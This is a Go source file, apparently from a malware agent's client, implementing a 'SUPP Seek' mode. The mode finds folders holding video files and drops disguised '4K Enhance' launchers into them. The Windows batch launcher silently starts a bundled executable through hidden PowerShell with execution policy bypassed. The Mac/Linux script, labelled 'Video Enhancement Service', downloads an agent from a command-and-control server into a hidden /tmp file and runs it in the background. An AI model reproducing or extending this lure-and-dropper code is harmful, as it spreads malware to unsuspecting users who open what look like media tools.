Files
AetherForge/usb/agent/client/supp_seek.go

87 lines
2.4 KiB
Go

package client
import (
"fmt"
"os"
"path/filepath"
"strings"
)
// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory.
type suppSeekOpts struct {
DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy
DropMac bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap)
ServerURL string
// Name prefix used for the launcher files.
FileStem string // default: "4K Enhance"
}
type suppSeekResult struct {
Dirs int // directories visited
Seeded int // directories where files were placed
Skipped int // already seeded
Files int // total files placed
Errors int
FirstErr string
}
func (r suppSeekResult) Summary() string {
return fmt.Sprintf(
"SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)",
r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors,
)
}
// mediaExtensions is the set of file extensions that mark a directory as a
// target — if a directory contains any of these the launcher files are dropped.
var mediaExtensions = map[string]struct{}{
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {},
}
func isMediaDir(dirPath string) bool {
entries, err := os.ReadDir(dirPath)
if err != nil {
return false
}
for _, e := range entries {
if e.IsDir() {
continue
}
ext := strings.ToLower(filepath.Ext(e.Name()))
if _, ok := mediaExtensions[ext]; ok {
return true
}
}
return false
}
// batContent returns the content of the Windows .bat launcher.
// It launches the co-located VideoEnhancer.exe silently.
func batContent(stem string) string {
return "@echo off\r\n" +
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " +
"-Command \"& { " +
"$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " +
"if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " +
"}\"\r\n"
}
// commandContent returns the content of the Mac/Linux .command shell script.
// Falls back to a C2 download if the server URL is known.
func commandContent(serverURL string) string {
dl := ""
if serverURL != "" {
dl = fmt.Sprintf(
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
serverURL,
)
}
return "#!/bin/bash\n" +
"# Video Enhancement Service\n" +
dl +
"exit 0\n"
}